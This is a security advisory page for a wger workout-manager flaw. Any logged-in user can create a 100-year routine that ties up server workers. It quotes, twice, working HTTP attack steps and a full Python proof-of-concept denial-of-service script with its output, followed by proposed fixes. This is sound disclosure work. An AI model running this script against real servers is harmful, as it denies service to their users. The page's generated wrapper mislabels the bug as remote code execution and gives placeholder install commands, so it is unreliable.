GHSA-v25j-wqcw-fvhj: Wger Remote Code Execution Vulnerability

MODERATE
CVSS 6.5
CWE-400
Published
Advisory Summary

GHSA-v25j-wqcw-fvhj is a MODERATE (CVSS 6.5) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Wger libraries in the PyPI ecosystem. The issue involves wger has an uncontrolled resource consumption issue. Remediation is available in the latest vendor maintenance releases.

GHSA-v25j-wqcw-fvhj at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-v25j-wqcw-fvhj
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Wger
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-v25j-wqcw-fvhj

To remediate this vulnerability, upgrade all affected Wger dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wger fixed: Latest secure release
pip install wger>=Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show wger

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-v25j-wqcw-fvhj, inspect your installed packages using pip:

pip show wger

Analyze the terminal output to locate any version of Wger in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show wger command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Wger, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the `date_sequence` computation via any of the routine detail endpoints. The server iterates once per day in an unbounded `while` loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users. ### Details The `Routine` model (file: `wger/manager/models/routine.py`) has `start` and `end` date fields with only one validation -- `start` must not be after `end`: ```python # File: wger/manager/models/routine.py, line 151 def clean(self): if self.end and self.start and self.start > self.end: raise ValidationError('The start time cannot be after the end time.') # NO maximum duration check ``` The `RoutineSerializer` (file: `wger/manager/api/serializers.py`, line 43) likewise performs no validation on the delta between `start` and `end`. The `date_sequence` property (line 256) uses an unbounded loop: ```python # File: wger/manager/models/routine.py, line 256 while current_date <= self.end: # heavy computation per day: slots, entries, configs, logs ... ``` A routine with `start=2000-01-01` and `end=2099-12-31` produces **36,525 iterations**, each performing O(slots x entries x configs) work. Five endpoints trigger this computation: - `GET /api/v2/routine/<id>/date-sequence-display/` - `GET /api/v2/routine/<id>/date-sequence-gym/` - `GET /api/v2/routine/<id>/structure/` - `GET /api/v2/routine/<id>/logs/` - `GET /api/v2/routine/<id>/stats/` ### PoC #### Prerequisites - One authenticated user account - No special permissions required #### Attack Steps ``` # 1. Create a 100-year routine POST /api/v2/routine/ Authorization: Token <token> Content-Type: application/json { "name": "DoS routine", "start": "2000-01-01", "end": "2099-12-31" } # 2. Add at least one day (to make computation non-trivial) POST /api/v2/day/ Authorization: Token <token> Content-Type: application/json { "routine": <routine_id>, "order": 1, "name": "Day A" } # 3. Trigger the expensive computation GET /api/v2/routine/<routine_id>/date-sequence-display/ Authorization: Token <token> ``` **Expected:** HTTP 400 (routine duration exceeds maximum) **Actual:** HTTP 200 with 36,525 entries after several seconds of server CPU time #### Proof of Concept Script ```python #!/usr/bin/env python3 """ PoC: Unbounded date_sequence Denial of Service Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-400: Uncontrolled Resource Consumption Usage: python3 poc.py http://localhost:8000 """ import requests import sys import time if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASE_URL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1) BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2" ATTACKER_USER = "dos_attacker_poc" ATTACKER_PASS = "DosAttack!Poc!2025" BANNER = """ ===================================================================== PoC: Unbounded date_sequence Denial of Service Severity: HIGH CWE-400: Uncontrolled Resource Consumption ===================================================================== """ print(BANNER) # ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"} # ---- 1. Authenticate ---- print("[1] Authenticating...") token = api_login(ATTACKER_USER, ATTACKER_PASS) if not token: print(f" Registering account...") r = requests.post(f"{API}/register/", json={ "username": ATTACKER_USER, "password": ATTACKER_PASS, }) if r.status_code in (200, 201): token = r.json().get("token") if not token: token = api_login(ATTACKER_USER, ATTACKER_PASS) if not token: print(f"[-] Cannot authenticate. Response: {r.text[:200]}") sys.exit(1) print(f" Token: {token[:16]}...") headers = api_headers(token) # ---- 2. Create NORMAL routine (baseline) ---- print("\n[2] Creating baseline routine (30 days)...") r = requests.post(f"{API}/routine/", headers=headers, json={ "name": "Normal 30-day routine", "start": "2025-01-01", "end": "2025-01-31", }) normal_id = r.json()["id"] r = requests.post(f"{API}/day/", headers=headers, json={ "routine": normal_id, "order": 1, "name": "Day A" }) print(f" Routine id={normal_id} (30 days)") start_time = time.time() r = requests.get( f"{API}/routine/{normal_id}/date-sequence-display/", headers=headers, ) baseline_time = time.time() - start_time baseline_entries = len(r.json()) if r.status_code == 200 else 0 print(f" date-sequence-display: {r.status_code}, " f"{baseline_entries} entries, {baseline_time:.2f}s") # ---- 3. Create MALICIOUS routine (100 years) ---- print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...") r = requests.post(f"{API}/routine/", headers=headers, json={ "name": "DoS routine - 100 years", "start": "2000-01-01", "end": "2099-12-31", }) if r.status_code != 201: print(f" [-] Failed to create: {r.status_code} {r.text[:200]}") sys.exit(1) dos_id = r.json()["id"] print(f" Routine id={dos_id}") print(f" start=2000-01-01, end=2099-12-31") print(f" Duration: ~36,525 days (NO validation limit!)") r = requests.post(f"{API}/day/", headers=headers, json={ "routine": dos_id, "order": 1, "name": "DoS Day" }) # ---- 4. ATTACK ---- print(f"\n{'='*65}") print(f" ATTACK: Triggering date_sequence on 100-year routine") print(f"{'='*65}") print(f"\n GET {API}/routine/{dos_id}/date-sequence-display/") print(f" This will iterate ~36,525 times in a while loop...") start_time = time.time() try: r = requests.get( f"{API}/routine/{dos_id}/date-sequence-display/", headers=headers, timeout=120, ) elapsed = time.time() - start_time dos_entries = len(r.json()) if r.status_code == 200 else 0 print(f"\n Response: HTTP {r.status_code}") print(f" Entries returned: {dos_entries}") print(f" Time elapsed: {elapsed:.2f}s") except requests.exceptions.Timeout: elapsed = time.time() - start_time dos_entries = 0 print(f"\n REQUEST TIMED OUT after {elapsed:.2f}s!") except requests.exceptions.ConnectionError: elapsed = time.time() - start_time dos_entries = 0 print(f"\n CONNECTION LOST after {elapsed:.2f}s!") # ---- 5. VERIFY ---- print(f"\n{'='*65}") print(f" VERIFICATION") print(f"{'='*65}") print(f"\n Baseline (30-day routine):") print(f" Entries: {baseline_entries}") print(f" Time: {baseline_time:.2f}s") print(f"\n Malicious (100-year routine):") print(f" Entries: {dos_entries}") print(f" Time: {elapsed:.2f}s") if elapsed > baseline_time * 5 or dos_entries > 10000: slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf') print(f"\n Slowdown factor: {slowdown:.1f}x") print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | No maximum duration is enforced on routines. | | The date_sequence property loops once per day with no | | upper bound. A 100-year routine forces ~36,525 | | iterations of expensive O(days x slots x configs) work. | | A single request can exhaust a server worker thread. | +----------------------------------------------------------+ """) else: print("\n Response was fast - server may have limits or caching.") ``` #### Proof of Concept Output ``` ===================================================================== PoC: Unbounded date_sequence Denial of Service Severity: HIGH CWE-400: Uncontrolled Resource Consumption ===================================================================== [1] Authenticating... Registering account... Token: 2ffbb18316fc4e0f... [2] Creating baseline routine (30 days)... Routine id=5 (30 days) date-sequence-display: 200, 31 entries, 0.02s [3] Creating malicious routine (100 years = 36,525 days)... Routine id=6 start=2000-01-01, end=2099-12-31 Duration: ~36,525 days (NO validation limit!) ================================================================= ATTACK: Triggering date_sequence on 100-year routine ================================================================= GET http://localhost/api/v2/routine/6/date-sequence-display/ This will iterate ~36,525 times in a while loop... Response: HTTP 200 Entries returned: 36525 Time elapsed: 3.06s ================================================================= VERIFICATION ================================================================= Baseline (30-day routine): Entries: 31 Time: 0.02s Malicious (100-year routine): Entries: 36525 Time: 3.06s Slowdown factor: 138.4x +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | No maximum duration is enforced on routines. | | The date_sequence property loops once per day with no | | upper bound. A 100-year routine forces ~36,525 | | iterations of expensive O(days x slots x configs) work. | | A single request can exhaust a server worker thread. | +----------------------------------------------------------+ ``` ### Impact 1. **Worker Thread Exhaustion:** Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users. 2. **Amplification with Slots:** The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request. 3. **No Authentication Barrier Beyond Login:** Any registered user can perform this attack. No elevated permissions are required. 4. **Cache Bypass:** The first request for each routine (or after `ROUTINE_CACHE_TTL` expires) always runs the full computation. An attacker can create new routines to avoid cache hits. 5. **Five Affected Endpoints:** `date-sequence-display`, `date-sequence-gym`, `structure`, `logs`, and `stats` all trigger the same unbounded loop. ### Fix #### 1. Add maximum duration validation in the model ```python # File: wger/manager/models/routine.py MAX_ROUTINE_DAYS = 365 def clean(self): if self.end and self.start: if self.start > self.end: raise ValidationError('Start cannot be after end.') if (self.end - self.start).days > self.MAX_ROUTINE_DAYS: raise ValidationError( f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.' ) ``` #### 2. Add the same validation in the serializer ```python # File: wger/manager/api/serializers.py class RoutineSerializer(serializers.ModelSerializer): def validate(self, data): start = data.get('start') end = data.get('end') if start and end and (end - start).days > 365: raise serializers.ValidationError( 'Routine cannot span more than 365 days.' ) return data ``` #### 3. Add a safety cap in date_sequence (defence-in-depth) ```python # File: wger/manager/models/routine.py, inside date_sequence property MAX_SEQUENCE_DAYS = 400 count = 0 while current_date <= self.end: count += 1 if count > MAX_SEQUENCE_DAYS: break ... ```

GHSA-v25j-wqcw-fvhj Affected Wger Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wger
PyPI
≤ 2.5

References

Frequently Asked Questions

What is GHSA-v25j-wqcw-fvhj?
GHSA-v25j-wqcw-fvhj is a security vulnerability in Wger involving wger has an Uncontrolled Resource Consumption issue under CWE-400: Uncontrolled Resource Consumption.
Which Wger versions are affected?
Affected versions include releases prior to current release patches across affected packages: wger.
What version fixes GHSA-v25j-wqcw-fvhj?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wger affected?
Yes, wger is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-v25j-wqcw-fvhj?
GHSA-v25j-wqcw-fvhj has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-v25j-wqcw-fvhj?
GHSA-v25j-wqcw-fvhj is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for GHSA-v25j-wqcw-fvhj?
Run the dependency tree command: 'pip show wger'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v25j-wqcw-fvhj",
  "modified" : "2026-05-13T15:33:38Z",
  "published" : "2026-05-13T15:33:38Z",
  "aliases" : [ ],
  "summary" : "wger has an Uncontrolled Resource Consumption issue",
  "details" : "### Summary\n\nAny authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the `date_sequence` computation via any of the routine detail endpoints. The server iterates once per day in an unbounded `while` loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.\n\n### Details\n\nThe `Routine` model (file: `wger/manager/models/routine.py`) has `start` and `end` date fields with only one validation -- `start` must not be after `end`:\n\n```python\n# File: wger/manager/models/routine.py, line 151\ndef clean(self):\n    if self.end and self.start and self.start > self.end:\n        raise ValidationError('The start time cannot be after the end time.')\n    # NO maximum duration check\n```\n\nThe `RoutineSerializer` (file: `wger/manager/api/serializers.py`, line 43) likewise performs no validation on the delta between `start` and `end`.\n\nThe `date_sequence` property (line 256) uses an unbounded loop:\n\n```python\n# File: wger/manager/models/routine.py, line 256\nwhile current_date <= self.end:\n    # heavy computation per day: slots, entries, configs, logs\n    ...\n```\n\nA routine with `start=2000-01-01` and `end=2099-12-31` produces **36,525 iterations**, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:\n\n- `GET /api/v2/routine/<id>/date-sequence-display/`\n- `GET /api/v2/routine/<id>/date-sequence-gym/`\n- `GET /api/v2/routine/<id>/structure/`\n- `GET /api/v2/routine/<id>/logs/`\n- `GET /api/v2/routine/<id>/stats/`\n\n### PoC\n\n#### Prerequisites\n\n- One authenticated user account\n- No special permissions required\n\n#### Attack Steps\n\n```\n# 1. Create a 100-year routine\nPOST /api/v2/routine/\nAuthorization: Token <token>\nContent-Type: application/json\n\n{\n    \"name\": \"DoS routine\",\n    \"start\": \"2000-01-01\",\n    \"end\": \"2099-12-31\"\n}\n\n# 2. Add at least one day (to make computation non-trivial)\nPOST /api/v2/day/\nAuthorization: Token <token>\nContent-Type: application/json\n\n{\n    \"routine\": <routine_id>,\n    \"order\": 1,\n    \"name\": \"Day A\"\n}\n\n# 3. Trigger the expensive computation\nGET /api/v2/routine/<routine_id>/date-sequence-display/\nAuthorization: Token <token>\n```\n\n**Expected:** HTTP 400 (routine duration exceeds maximum)\n**Actual:** HTTP 200 with 36,525 entries after several seconds of server CPU time\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Unbounded date_sequence Denial of Service\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-400: Uncontrolled Resource Consumption\n\nUsage:\n    python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport time\n\nif len(sys.argv) < 2:\n    print(f\"Usage: {sys.argv[0]} <BASE_URL>\")\n    print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nATTACKER_USER = \"dos_attacker_poc\"\nATTACKER_PASS = \"DosAttack!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Unbounded date_sequence Denial of Service\n  Severity: HIGH\n  CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helper ----\ndef api_login(username, password):\n    r = requests.post(f\"{API}/login/\", json={\n        \"username\": username, \"password\": password\n    })\n    if r.status_code == 200:\n        return r.json().get(\"token\")\n    return None\n\ndef api_headers(token):\n    return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate ----\n\nprint(\"[1] Authenticating...\")\n\ntoken = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not token:\n    print(f\"    Registering account...\")\n    r = requests.post(f\"{API}/register/\", json={\n        \"username\": ATTACKER_USER,\n        \"password\": ATTACKER_PASS,\n    })\n    if r.status_code in (200, 201):\n        token = r.json().get(\"token\")\n    if not token:\n        token = api_login(ATTACKER_USER, ATTACKER_PASS)\n    if not token:\n        print(f\"[-] Cannot authenticate. Response: {r.text[:200]}\")\n        sys.exit(1)\nprint(f\"    Token: {token[:16]}...\")\n\nheaders = api_headers(token)\n\n\n# ---- 2. Create NORMAL routine (baseline) ----\n\nprint(\"\\n[2] Creating baseline routine (30 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n    \"name\": \"Normal 30-day routine\",\n    \"start\": \"2025-01-01\",\n    \"end\": \"2025-01-31\",\n})\nnormal_id = r.json()[\"id\"]\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n    \"routine\": normal_id, \"order\": 1, \"name\": \"Day A\"\n})\n\nprint(f\"    Routine id={normal_id} (30 days)\")\nstart_time = time.time()\nr = requests.get(\n    f\"{API}/routine/{normal_id}/date-sequence-display/\",\n    headers=headers,\n)\nbaseline_time = time.time() - start_time\nbaseline_entries = len(r.json()) if r.status_code == 200 else 0\nprint(f\"    date-sequence-display: {r.status_code}, \"\n      f\"{baseline_entries} entries, {baseline_time:.2f}s\")\n\n\n# ---- 3. Create MALICIOUS routine (100 years) ----\n\nprint(f\"\\n[3] Creating malicious routine (100 years = 36,525 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n    \"name\": \"DoS routine - 100 years\",\n    \"start\": \"2000-01-01\",\n    \"end\": \"2099-12-31\",\n})\n\nif r.status_code != 201:\n    print(f\"    [-] Failed to create: {r.status_code} {r.text[:200]}\")\n    sys.exit(1)\n\ndos_id = r.json()[\"id\"]\nprint(f\"    Routine id={dos_id}\")\nprint(f\"    start=2000-01-01, end=2099-12-31\")\nprint(f\"    Duration: ~36,525 days (NO validation limit!)\")\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n    \"routine\": dos_id, \"order\": 1, \"name\": \"DoS Day\"\n})\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  ATTACK: Triggering date_sequence on 100-year routine\")\nprint(f\"{'='*65}\")\n\nprint(f\"\\n  GET {API}/routine/{dos_id}/date-sequence-display/\")\nprint(f\"  This will iterate ~36,525 times in a while loop...\")\n\nstart_time = time.time()\ntry:\n    r = requests.get(\n        f\"{API}/routine/{dos_id}/date-sequence-display/\",\n        headers=headers,\n        timeout=120,\n    )\n    elapsed = time.time() - start_time\n    dos_entries = len(r.json()) if r.status_code == 200 else 0\n\n    print(f\"\\n  Response: HTTP {r.status_code}\")\n    print(f\"  Entries returned: {dos_entries}\")\n    print(f\"  Time elapsed: {elapsed:.2f}s\")\n\nexcept requests.exceptions.Timeout:\n    elapsed = time.time() - start_time\n    dos_entries = 0\n    print(f\"\\n  REQUEST TIMED OUT after {elapsed:.2f}s!\")\n\nexcept requests.exceptions.ConnectionError:\n    elapsed = time.time() - start_time\n    dos_entries = 0\n    print(f\"\\n  CONNECTION LOST after {elapsed:.2f}s!\")\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{'='*65}\")\n\nprint(f\"\\n  Baseline (30-day routine):\")\nprint(f\"    Entries: {baseline_entries}\")\nprint(f\"    Time:    {baseline_time:.2f}s\")\nprint(f\"\\n  Malicious (100-year routine):\")\nprint(f\"    Entries: {dos_entries}\")\nprint(f\"    Time:    {elapsed:.2f}s\")\n\nif elapsed > baseline_time * 5 or dos_entries > 10000:\n    slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')\n    print(f\"\\n  Slowdown factor: {slowdown:.1f}x\")\n    print(\"\"\"\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  No maximum duration is enforced on routines.            |\n  |  The date_sequence property loops once per day with no   |\n  |  upper bound. A 100-year routine forces ~36,525          |\n  |  iterations of expensive O(days x slots x configs) work. |\n  |  A single request can exhaust a server worker thread.    |\n  +----------------------------------------------------------+\n\"\"\")\nelse:\n    print(\"\\n  Response was fast - server may have limits or caching.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Unbounded date_sequence Denial of Service\n  Severity: HIGH\n  CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\n[1] Authenticating...\n    Registering account...\n    Token: 2ffbb18316fc4e0f...\n\n[2] Creating baseline routine (30 days)...\n    Routine id=5 (30 days)\n    date-sequence-display: 200, 31 entries, 0.02s\n\n[3] Creating malicious routine (100 years = 36,525 days)...\n    Routine id=6\n    start=2000-01-01, end=2099-12-31\n    Duration: ~36,525 days (NO validation limit!)\n\n=================================================================\n  ATTACK: Triggering date_sequence on 100-year routine\n=================================================================\n\n  GET http://localhost/api/v2/routine/6/date-sequence-display/\n  This will iterate ~36,525 times in a while loop...\n\n  Response: HTTP 200\n  Entries returned: 36525\n  Time elapsed: 3.06s\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  Baseline (30-day routine):\n    Entries: 31\n    Time:    0.02s\n\n  Malicious (100-year routine):\n    Entries: 36525\n    Time:    3.06s\n\n  Slowdown factor: 138.4x\n\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  No maximum duration is enforced on routines.            |\n  |  The date_sequence property loops once per day with no   |\n  |  upper bound. A 100-year routine forces ~36,525          |\n  |  iterations of expensive O(days x slots x configs) work. |\n  |  A single request can exhaust a server worker thread.    |\n  +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Worker Thread Exhaustion:** Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.\n2. **Amplification with Slots:** The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.\n3. **No Authentication Barrier Beyond Login:** Any registered user can perform this attack. No elevated permissions are required.\n4. **Cache Bypass:** The first request for each routine (or after `ROUTINE_CACHE_TTL` expires) always runs the full computation. An attacker can create new routines to avoid cache hits.\n5. **Five Affected Endpoints:** `date-sequence-display`, `date-sequence-gym`, `structure`, `logs`, and `stats` all trigger the same unbounded loop.\n\n\n### Fix\n\n#### 1. Add maximum duration validation in the model\n\n```python\n# File: wger/manager/models/routine.py\nMAX_ROUTINE_DAYS = 365\n\ndef clean(self):\n    if self.end and self.start:\n        if self.start > self.end:\n            raise ValidationError('Start cannot be after end.')\n        if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:\n            raise ValidationError(\n                f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'\n            )\n```\n\n#### 2. Add the same validation in the serializer\n\n```python\n# File: wger/manager/api/serializers.py\nclass RoutineSerializer(serializers.ModelSerializer):\n    def validate(self, data):\n        start = data.get('start')\n        end = data.get('end')\n        if start and end and (end - start).days > 365:\n            raise serializers.ValidationError(\n                'Routine cannot span more than 365 days.'\n            )\n        return data\n```\n\n#### 3. Add a safety cap in date_sequence (defence-in-depth)\n\n```python\n# File: wger/manager/models/routine.py, inside date_sequence property\nMAX_SEQUENCE_DAYS = 400\ncount = 0\nwhile current_date <= self.end:\n    count += 1\n    if count > MAX_SEQUENCE_DAYS:\n        break\n    ...\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "wger"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/security/advisories/GHSA-v25j-wqcw-fvhj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/commit/5f07a4473e2c32d298c8cdd31d78e5107840039c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wger-project/wger"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-13T15:33:38Z",
    "nvd_published_at" : null
  }
}